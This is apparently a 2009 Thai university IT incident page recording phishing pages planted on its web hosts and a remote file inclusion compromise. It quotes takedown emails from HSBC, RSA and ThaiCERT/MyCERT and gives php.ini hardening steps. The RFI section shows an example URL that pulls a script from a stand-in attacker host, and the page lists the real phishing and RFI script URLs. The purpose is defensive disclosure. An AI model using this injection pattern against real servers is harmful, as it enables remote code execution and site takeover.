แจ้งการแก้ไขข้อมูล (Phishing) เขตพื้นที่พิษณุโลก รอบที่ 2

วันพฤหัสบดีที่ 16 ตุลาคม 2552 ได้รับการแจ้งเตือนทางโทรศัพท์จากธนาคาร HSBC ประเทศไทย (และส่ง e-mail ตามมา) เกี่ยวกับการเกิด Phishing โดยอาศัยโฮสต์ของเขตพื้นที่พิษณุโลกเป็นเป้าหมาย จากการตรวจสอบพบว่า มีการแก้ไขข้อมูลให้เป็น Phishing จริง โดยหลอกล่อผู้ใช้งานให้กรอกข้อมูลหมายเลขบัตรเครดิตต่าง ๆ โดยมี url : ดังต่อไปนี้

http://fac.plc.rmutl.ac.th/eoffice/manual/IBlogin.html

http://fac.plc.rmutl.ac.th/eoffice/manual/verify-v1.php

เบื้องต้นได้ประสานงานให้ผู้รับผิดชอบดำเนินการตรวจสอบแหล่งที่มา และลบไฟล์ดังกล่าวออกจากระบบทันที ในครั้งนี้ได้แนะนำให้อัพเกรดระบบขับเคลื่อนเว็บไซต์ apache,php ในทันที เพื่อป้องกันการเกิดเหตุการซ้ำอีก

รายละเอียดการแจ้งเตือน

——Original Message——
From: chairatteejaroen@hsbc.co.th [mailto:chairatteejaroen@hsbc.co.th]
Sent: Friday, October 16, 2009 10:53 AM
To: สำนักวิทยบริการและเทคโนโลยีสารสนเทศ
Cc: raksabhongbejraputra@hsbc.co.th; tidalertsakworakul@hsbc.co.th; rattayapetcharaladakun@hsbc.co.th; nilawanchiarnpattanodom@hsbc.co.th
Subject: URGENT – Phishing Attack against HSBC Bank – Web Site Removal Request
Dear K.Prasert
Please kindly assist in getting the below Phishing site taken

down and
please inform me after you done as two link below krab.
http://fac.plc.rmutl.ac.th/eoffice/manual/IBlogin.html
http://fac.plc.rmutl.ac.th/eoffice/manual/verify-v1.php
Your kind assistance much be appreciated
Best regards
Chairat Teejaroen
Fraud Risk Support Officer | HSBC Thailand
Security is everyone’s business
_____
Phone (66 2) 614 4446
Fax (66 2) 632 4810
E-mail chairatteejaroen@hsbc.co.th
Website http://www.hsbc.co.th/
_____

liability
for any errors or omissions.
****

“SAVE PAPER – THINK BEFORE YOU PRINT!”
——Original Message——

From: chairatteejaroen@hsbc.co.th [mailto:chairatteejaroen@hsbc.co.th]

Sent: Friday, October 16, 2009 10:53 AM

To: สำนักวิทยบริการและเทคโนโลยีสารสนเทศ

Cc: raksabhongbejraputra@hsbc.co.th; tidalertsakworakul@hsbc.co.th; rattayapetcharaladakun@hsbc.co.th; nilawanchiarnpattanodom@hsbc.co.th

Subject: URGENT – Phishing Attack against HSBC Bank – Web Site Removal Request

Dear K.Prasert

Please kindly assist in getting the below Phishing site taken down and

please inform me after you done as two link below krab.

http://fac.plc.rmutl.ac.th/eoffice/manual/IBlogin.html

http://fac.plc.rmutl.ac.th/eoffice/manual/verify-v1.php

Your kind assistance much be appreciated

Best regards

Chairat Teejaroen

Fraud Risk Support Officer | HSBC Thailand

Security is everyone’s business

Phone (66 2) 614 4446

Fax (66 2) 632 4810

E-mail chairatteejaroen@hsbc.co.th

Website http://www.hsbc.co.th/

****

The Hongkong and Shanghai Banking Corporation Limited

HSBC Building, 968 Rama IV Road, Silom, Bangrak, Bangkok 10500

http://www.hsbc.co.th

****

****

The Hongkong and Shanghai Banking Corporation Limited

HSBC Building, 968 Rama IV Road, Silom, Bangrak, Bangkok 10500

http://www.hsbc.co.th

****

****

disclose

or use any part of it. If you have received this message in error,

please delete it and all copies from your system and notify the

sender immediately by return e-mail.

Internet communications cannot be guaranteed to be timely,

secure, error or virus-free. The sender does not accept liability

for any errors or omissions.

****

“SAVE PAPER – THINK BEFORE YOU PRINT!”

แจ้งการแก้ไขข้อมูล (Phishing) เขตพื้นที่พิษณุโลก

วันพฤหัสบดีที่ 8 ตุลาคม 2552 ได้รับ e-mail แจ้งเตือน เกี่ยวกับการเกิด Phishing โดยอาศัยโฮสต์ของเขตพื้นที่พิษณุโลกเป็นเป้าหมาย จากการตรวจสอบพบว่า มีการแก้ไขข้อมูลให้เป็น Phishing จริง โดยหลอกล่อผู้ใช้งานให้กรอกข้อมูลหมายเลขบัตรเครดิตต่าง ๆ โดยมี url : ดังต่อไปนี้
http://ccucnorth.net/english/sermons/images/EggBanking.Update.

php (ขณะนี้ url นี้ได้ถูกลบไปแล้ว)

การแก้ไขปัญหาเบื้องต้นคือ ให้ลบไฟล์ Phishing ทิ้ง และทำการแก้ไขค่าพารามิเตอร์ของ php.ini ดังต่อไปนี้

1. register_globals = Off

2. allow_url_fopen = Off

3. Safe_mode = On

ก็จะสามารถป้องกันการคุกคามเบื้องต้นได้ ทั้งนี้ควรอัพเดทระบบปฏิบัติการ รวมทั้ง apache,php ให้มีความทันสมัยอย่างต่อเนื่อง เพื่อป้องกันการเกิดเหตุขึ้นอีกในอนาคต

ใจความของ E-Mail แจ้งเตือน ดังต่อไปนี้

จาก *: afcc@rsa.com [afcc@rsa.com]*

ส่ง *: 8* ตุลาคม *2009 11:36*

ถึง *: webmaster rmutl*

เรื่อง *: Fraudulent site – please shut down! [CITI 15448] IP: 203.158.175.14*

Dear rmutl Team

It appears that your website http://fac.plc.rmutl.ac.th<http://fac.plc.rmutl.ac.th/> has been hacked by a fraudster. It is now hosting a phishing attack against Citibank.

Please remove the fraudulent folders/files as soon as possible and secure your website as it has been compromised.

http://fac.plc.rmutl.ac.th/plc/claroline/learnPath/include/.php

In addition, please send us any source files of the attack.

Please let us know if you have any questions or need further assistance. We appreciate your cooperation.

RSA Anti-Fraud Command Center

RSA, The Security Division of EMC

[cid:image003.gif@01C7D30E.E7EE5E70]

Dear Sir or Madam:

RSA, an anti-fraud and security company, is under contract to assist Citibank and its related entities in preventing or terminating online activity that targets Citibank's clients as potential fraud victims. RSA has been made aware that you appear to be providing Internet Services to a fraudulent Web site being used as part of a "phishing scam". This activity may violate the criminal laws of the United States and other nations.

E-mail messages have been broadly distributed to individuals by a person or entity pretending to be Citibank. These e-mails did not originate from Citibank and this site is not an authorized Citibank site. The e-mails request recipients to verify and submit sensitive details related to their Citibank accounts. Within the fraudulent e-mail message, there is a link that leads the recipients to a fraudulent website which is being hosted by your company. The fraudulent website is designed to improperly obtain personal information of Citibank customers in order to fraudulently access their bank accounts. Contained in the email is an embedded URL:

URL:
http://fac.plc.rmutl.ac.th/plc/claroline/learnPath/include/.php

IP Address: 203.158.175.14

We understand that you may not be aware of this improper use of your services and we appreciate your cooperation. We

specifically would ask that you also take the following actions directly to Citibank:

Please take all necessary steps to immediately shut down the fraudulent website, terminate its availability to the Internet and discontinue the transmission of any e-mails associated with this website.

In the event that you do not comply with the above, Citibank and its related entities reserve all rights to take any action now or at any point in the future.

PLEASE PROVIDE CITIBANK WITH THE FOLLOWING INFORMATION/DATA IF AVAILABLE:

– Content of the Phishing site and any available Logs (Access, FTP, Mail, and Web)

– Any customer data that has been captured and/or stored on your systems or equipment

– Any records you maintain that indicate the name, contact information, method of payment or similar information that may be useful in helping learn about the identity and location of the customer for whom the website has been operated.

Please send the above information to the following Citibank contacts:

Vishant Patel – Vishant.B.Patel@Citi.com<mailto:Vishant.B.Patel@Citi.com> (212) 657-2416

David Sun – David.C.Sun@citi.com<mailto:David.C.Sun@citi.com> (212) 657-3736

Thank you for your cooperation to prevent and terminate this fraudulent activity.

Sincerely,

RSA Anti Fraud Command Center

Tel: +44(0)800-032-7751 (UK)

Tel: +1-866-408-7525 (US)

Fax: +972-9-9566658 (EU)

Fax: +1-212-208-4644 (US)

E-mail: afcc@rsasecurity.com<mailto:afcc@rsasecurity.com>

http://www.rsa.com

For more information about RSA's AFCC http://www.rsa.com/node.aspx?id=3348

Citi Security and Investigative Service

Name: John Pignataro

Address: 111 Wall St, 19th Floor/Zone 7, New York, 10005

Tel: 212-657-0721

E-mail: john.pignataro@citi.com

□□□□□□□□□□□□□□□□□□□□□□□□ Remote file inclusion

วันอังคารที่ 2□9 กันยายน 2□552 ได้รับแจ้งจาก ThaiCERT เกี่ยวกับการโจมตีเครื่องแม่ข่ายด้วย Remote file inclusion ซึ่งเป็นเทคนิคการเรียกใช้งานข้ามเครื่องแม่ข่าย เช่น

URL สมมุติ **

http://www.mydomain.com/index.php?page=http://www.hacker.com/hackscript.php?

โดยสามารถติดตั้งโค๊ดต่าง ๆ ลงบนเครื่องแม่ข่ายได้ทันที ทางแก้ไขเบื้องต้นสำหรับผู้ดูแลระบบเครือข่ายและผู้ดูแลเครื่องแม่ข่ายคือ แก้ไขค่าพารามิเตอร์ของ php.ini ดังนี้

```
1. register_globals = Off
2. allow_url_fopen = Off
```

และคอยตรวจสอบการอัพเดทของ CMS และระบบปฏิบัติการอย่างต่อเนื่อง รวมไปถึงการเปิดพอร์ตที่จำเป็น (Firewall) สำหรับเครื่องคอมพิวเตอร์แม่ข่ายเท่านั้น เพื่อป้องกันการบุกรุก /โจมตีจากผู้ไม่หวังดี

จาก : [ThaiCERT]: jedsada [ir@thaicert.org]
ส่ง : 28 กันยายน 2□009 11:30
ถึง : webmaster rmutl
สำเนาถึง : thaicert@nectec.or.th
เรื่อง : [ThaiCERT #909280058] โปรดดำเนินการโดยเร่งด่วน ::RFI hosting 58.137.170.75

```
> [jedsada – Mon Sep 28 11:30:12 2009]:
>
> ——BEGIN PGP SIGNED MESSAGE——
> Hash: SHA1
>
> เรียน ผู้ดูแลระบบเว็บไซต์ http://reg1.rmutl.ac.th
```

>
> ทีมงานได้รับแจ้งจาก CyberSecurity Malaysia
> ว่าเครื่องเว็บเซิร์ฟเวอร์ http://reg1.rmutl.ac.th/ บน
ไอพีแอดเดรส
> 58.137.170.75
> ในความดูแลของท่านถูกโจมตีด้วย Remote file inclusion
> เป็นไฟล์สคริปต์ที่ถูกฝังลงบนเครื่อง
> เซิรฟ์เวอร์ของท่านสาเหตุอาจจะเกิดจากช่องโหว่
> บนเครื่องที่เปิดให้บริการซึ่งเป็นช่องทางให้
แฮกเกอร์เข้าฝังสคริปต์ลงบนเ
> ครื่องเพื่อที่ดูข้อมูลสำคัญ
> ต่างๆบนเครื่องหรือใช้เครื่องบริการดังกล่าวเป็น
> ช่องทางในการโจมตีหรือบุกรุกเครื่องเซิรฟ์เวอร์อื่นๆ
> ที่อยู่บนระบบเครือข่ายอินเตอร์เน็ตตามลิงก์นี้
> http://reg1.rmutl.ac.th/con/con
>
> การดำเนินการ [เร่งด่วน]
> (แจ้งผู้เช่าบริการให้ดำเนินการ)
> (หากไฟล์ดังกล่าวไม่ใช่สิ่งที่ท่านติดตั้งไว้)
> ให้ทำการลบไฟล์ดังกล่าว
> แล้วทำการตรวจสอบและอัพเดตระบบปฏิบัติการพร้อม
โปรแกรมต่างๆ
> เช่น โปรแกรมจำพวก CMS เป็นต้น เพื่ออุดช่องโหว่
ไม่ให้มีการบุกรุก
> เข้าระบบของท่านได้อีก
>
> คำแนะนำเพิ่มเติม
> 1. ปิดบริการ (port/service) ต่างๆ ที่ไม่จำเป็นต่อ
การใช้งานเช่น
> เครื่องดังกล่าวไม่เปิดบริการเว็บไซต์ http port 80
หรือ ftp (21/tcp),
> telnet
> (23/tcp) เพื่อลดช่องทางการโจมตี หรือการเข้าครอบ
ครอบเครื่องเซิร์ฟเวอร์
> จึงควรเปิดเฉพาะบริการที่จำเป็นต่อการใช้งานเท่า
นั้น
> และต้องหมั่นตรวจสอบช่องโหว่สำหรับบริการนั้นๆ

> พร้อมทำการอัพเดตโปรแกรมอุดช่องโหว่
> (patch) เสมอ
> 2. การตั้ง /กำหนด password เป็นสิ่งสำคัญหากกำหนด
Password
> ไม่เหมาะสมส่งผลให้แฮกเกอร์ใช้โปรแกรมเดา password
ได้โดยง่าย
> 3.ติดตามข่าวสารด้านความปลอดภัยจากแหล่งข่าวที่น่า
เชื่อถือต่างหรือรับบริ
> การแจ้งข่าวสารจากทาง
> ThaiCERTซึ่งสามารถสมัครได้จาก
> http://www.thaicert.nectec.or.th/mailinglist/register.php
>
> ทีมงานหวังเป็นอย่างยิ่งว่าคำแนะนำจะช่วยท่านได้
ในระดับหนึ่ง
> และหากมีความคืบหน้าประการใดเกี่ยวกับเหตุการณ์นี้
> กรุณาแจ้งกลับมายังทีมงาน ThaiCERT
> จักขอบพระคุณเป็นอย่างยิ่ง
>
> ด้วยความนับถือ
> เจษฎา ทองก้านเหลือง
> ศูนย์ประสานงานการรักษาความปลอดภัยคอมพิวเตอร์ ประเทศ
ไทย (ThaiCERT)
> ศูนย์เทคโนโลยีอิเล็กทรอนิกส์และคอมพิวเตอร์แห่งชาติ
(NECTEC)
> 112 อุทยานวิทยาศาสตร์ประเทศไทย ถนนพหลโยธิน
> ตำบลคลองหนึ่ง อำเภอคลองหลวง
> จังหวัดปทุมธานี 12120
> โทรศัพท์ : 0-2564-6868
> โทรสาร : 0-2564-6871
> E-mail: thaicert@nectec.or.th
>
> > ——BEGIN PGP SIGNED MESSAGE——
> > Hash: SHA1
> >
> > Dear Administrator,
> >
> > Regarding the above matter, you received this email

because you are
> > listed as the contact for the domain name in the whois lookup.Please
> > let us know if you are no longer the point of contact for this IP
> > address for our record.
> >
> > What is Remote File Inclusion (RFI)?
> > – ————————
> > Remote file inclusion or commonly known as RFI is a form of attack
> where
> > the attacker try to inject their own code inside the web
> applications. If
> > an attacker can successfully achieve this, they will be able to
> execute any
> > code they wish on the web server.
> >
> > More details at:
> >
>
http://www.mycert.org.my/en/resources/web_security/main/main/detail/662/index.html
> >
> > MyCERT is aware that a host under your administration is hosting a
> > malicious script used in an RFI attack.
> >
> > Domain Name = reg1.rmutl.ac.th
> > Ip = 58.137.170.75
> > ASN = 4750
> > Country = TH
> >
> > File/s below is/are exist as last check on Sun Sep 20 04:37:19 +0800
> 2009

> >
> > 1 – http://reg1.rmutl.ac.th/con/con
> >
> >
> > In addition, please investigate your machine for any indications of
> > compromise. If the machine is confirmed to have been compromised,
> please
> > disconnect it from the network and do the necessary before getting
> it back
> > online.
> >
> > If you are not the right point of contact to deal with this incident
> > then we would appreciate it very much if you could forward this to
> > the
> correct
> > party.
> > Furthermore, if you are already aware of this incident then we would
> like to
> > apologize for the inconvenience.
> >
> > We appreciate your prompt response and welcome your feedback. Thank
> you in
> > advance for your assistance.
> >
> >
> >
****
> > For correspondence regarding the above issue, please retain the
> > above subject header: [MyCERT-200909201042310] to ensure

effective
> > response.
> >
****
> >
> > Regards,
> >
> > –
> ————————————-
> –
> > MyCERT provides free technical advises to local organizations and
> > individuals pertainingt to computer/system/network security and
> incident
> > response.
> > –
> ————————-+————————
> ————————-+–
> > Malaysian Computer Emergency | E-mail: mycert@mycert.org.my
> > Response Team | Cyber999 Hotline: 1 300 88 2999
> > (MyCERT) | Fax: (603) 8945 3442
> > CyberSecurity Malaysia | Phone: (603) 8992 6969
> > Level 7, Sapura@Mines | Office hour: 0830-1730 MYT (Mon-
> Fri)
> > 7, Jln Tasik, The Mines | 24×7 Phone: 019-266 5850
> > Resort City, 43300 Seri Kembangan | SMS: 019-281 3801
> > Selangor. MALAYSIA | URL: http://mycert.org.my/
> > –
> ————————-+————————
> ————————-+–
> > Disclaimer

> > The information transmitted in electronic mail messages sent from
> > mycert.org.my domain is intended only for the person(s) or
> > entity(ies) to which it
> is
> > addressed, represents the views/points of MyCERT and may contain
> information
> > extracted from various other reliable sources on security issues.
> MyCERT
> > therefore does not accept liability for any errors, or omissions in
> the
> > contents
> > of this message, which arise as a result of e-mail transmission and
> > consequences due to mis-applying of the technical solutions/steps
> > provided. If
> you have
> > received this email by mistake, please notify MyCERT at +603 8992
> 6969
> > or email
> > us at mycert@mycert.org.my
> > –
> ————————————————-
> –
> > ——BEGIN PGP SIGNATURE——
> > Version: GnuPG v1.4.6 (GNU/Linux)
> >
> >
> iD8DBQFKtYBG0BAFcIK27XERAqnQAKDGwW+ugIqHG/Gp+wA4wxWSVUqE/wCggxh0
> > jZWrBWuhfA5NhMfuCvoX+d0=
> > =yrY9

> > ——END PGP SIGNATURE——
> >
> >
> >
> > ——BEGIN PGP SIGNED MESSAGE——
> > Hash: SHA1
> >
> > Dear Sir,
> >
> > We have received your report of the incident. The matter is now
> > being processed by our incident response personnel. We will contact
> > you back in due time which is subjected to the authenticity,
> > urgency, and damage of the incident.
> >
> > Regards,
> > Jedsada.Thongkanluang
> > Thai Computer Emergency Response Team (ThaiCERT) National
> > Electronics and Computer Technology Center (NECTEC)
> > 112 Thailand Science Park, Phahon Yothin Rd.
> > Klong 1, Klong Luang
> > Pathumthani 12120
> > Thailand
> > Tel : 66-2-564-6868
> > Fax : 66-2-564-6871
> > E-mail : thaicert@nectec.or.th
> > Web: http://www.thaicert.org
> >
> >
> > > [mycert@mycert.org.my – Sun Sep 20 08:11:50 2009]:
> > >
> > > ——BEGIN PGP SIGNED MESSAGE——
> > > Hash: SHA1
> > >
> > > Dear Administrator,

> > >
> > > Regarding the above matter, you received this email because you
> are
> > > listed as the contact for the domain name in the whois
> lookup.Please
> > > let us know if you are no longer the point of contact for this IP
> > > address for our record.
> > >
> > > What is Remote File Inclusion (RFI)?
> > > – ————————
> > > Remote file inclusion or commonly known as RFI is a form of attack
> > > where the attacker try to inject their own code inside the web
> applications.
> > > If
> > > an attacker can successfully achieve this, they will be able to
> > > execute any code they wish on the web server.
> > >
> > > More details at:
> > >
> >
>
http://www.mycert.org.my/en/resources/web_security/main/main/detail/662/index.html
> > >
> > > MyCERT is aware that a host under your administration is hosting a
> > > malicious script used in an RFI attack.
> > >
> > > Domain Name = reg1.rmutl.ac.th
> > > Ip = 58.137.170.75
> > > ASN = 4750
> > > Country = TH

> > >
> > > File/s below is/are exist as last check on Sun Sep 20 04:37:19
> +0800
> > > 2009
> > >
> > > 1 – http://reg1.rmutl.ac.th/con/con
> > >
> > >
> > > In addition, please investigate your machine for any indications
> of
> > > compromise. If the machine is confirmed to have been compromised,
> > > please disconnect it from the network and do the necessary before
> > > getting
> it
> > > back
> > > online.
> > >
> > > If you are not the right point of contact to deal with this
> incident
> > > then we
> > > would appreciate it very much if you could forward this to the
> correct
> > > party.
> > > Furthermore, if you are already aware of this incident then we
> would
> > > like to
> > > apologize for the inconvenience.
> > >
> > > We appreciate your prompt response and welcome your feedback.

> Thank
> > > you in
> > > advance for your assistance.
> > >
> > >
> > > >
****
> > > For correspondence regarding the above issue, please retain the
> > > above subject header: [MyCERT-200909201042310] to ensure effective
> > > response.
> > > >
****
> > >
> > > Regards,
> > >
> > > –
> > >
> –
> > > MyCERT provides free technical advises to local organizations and
> > > individuals pertainingt to computer/system/network security and
> > > incident response.
> > > –
> > >
> –
> > > Malaysian Computer Emergency | E-mail: mycert@mycert.org.my
> > > Response Team | Cyber999 Hotline: 1 300 88
> 2999
> > > (MyCERT) | Fax: (603) 8945 3442
> > > CyberSecurity Malaysia | Phone: (603) 8992

6969
> > > Level 7, Sapura@Mines | Office hour: 0830-1730 MYT
> (Mon-
> > > Fri)
> > > 7, Jln Tasik, The Mines | 24×7 Phone: 019-266 5850
> > > Resort City, 43300 Seri Kembangan | SMS: 019-281 3801
> > > Selangor. MALAYSIA | URL: http://mycert.org.my/
> > > –
> > >
> ————————-+————————
> ————————-+–
> > > Disclaimer
> > > The information transmitted in electronic mail messages sent from
> > > mycert.org.my domain is intended only for the person(s) or
> > > entity(ies) to which
> it
> > > is
> > > addressed, represents the views/points of MyCERT and may contain
> > > information extracted from various other reliable sources on
> > > security issues.
> > > MyCERT
> > > therefore does not accept liability for any errors, or omissions
> in
> > > the contents
> > > of this message, which arise as a result of e-mail transmission
> and
> > > consequences
> > > due to mis-applying of the technical solutions/steps

provided. If
> you
> > > have
> > > received this email by mistake, please notify MyCERT at
+603 8992
> 6969
> > > or email
> > > us at mycert@mycert.org.my
> > > –
> > >
> ————————————————-
> –
> > > ——BEGIN PGP SIGNATURE——
> > > Version: GnuPG v1.4.6 (GNU/Linux)
> > >
> > >
iD8DBQFKtYBG0BAFcIK27XERAqnQAKDGwW+ugIqHG/Gp+wA4wxWSVUqE/wCggx
h0
> > > jZWrBWuhfA5NhMfuCvoX+d0=
> > > =yrY9
> > > ——END PGP SIGNATURE——
> > ——BEGIN PGP SIGNATURE——
> > Version: GnuPG v1.4.2 (MingW32)
> > Comment: Use GnuPG with Firefox : http://getfiregpg.org
(Version:
> 0.7.8)
> >
> >
iD8DBQFKwDfaqe+UB1NWn2YRAtTBAKCT3Y+RYlbu2Dfm5cgd8g9adbRTQwCg/I
i0
> > lC0GJp2ETUscYa2fJkuePrU=
> > =2QVv
> > ——END PGP SIGNATURE——
> ——BEGIN PGP SIGNATURE——
> Version: GnuPG v1.4.2 (MingW32)
> Comment: Use GnuPG with Firefox : http://getfiregpg.org
(Version:

> 0.7.8)
>
>
iD8DBQFKwDrVqe+UB1NWn2YRAqeFAKCxLlcU3Rt4o9/R9obfz3I8hsu+GgCeN+
QN
> 0zRVD+NRYJ6P5PVIRDAvwwk=
> =RRLN
> ——END PGP SIGNATURE——
>
>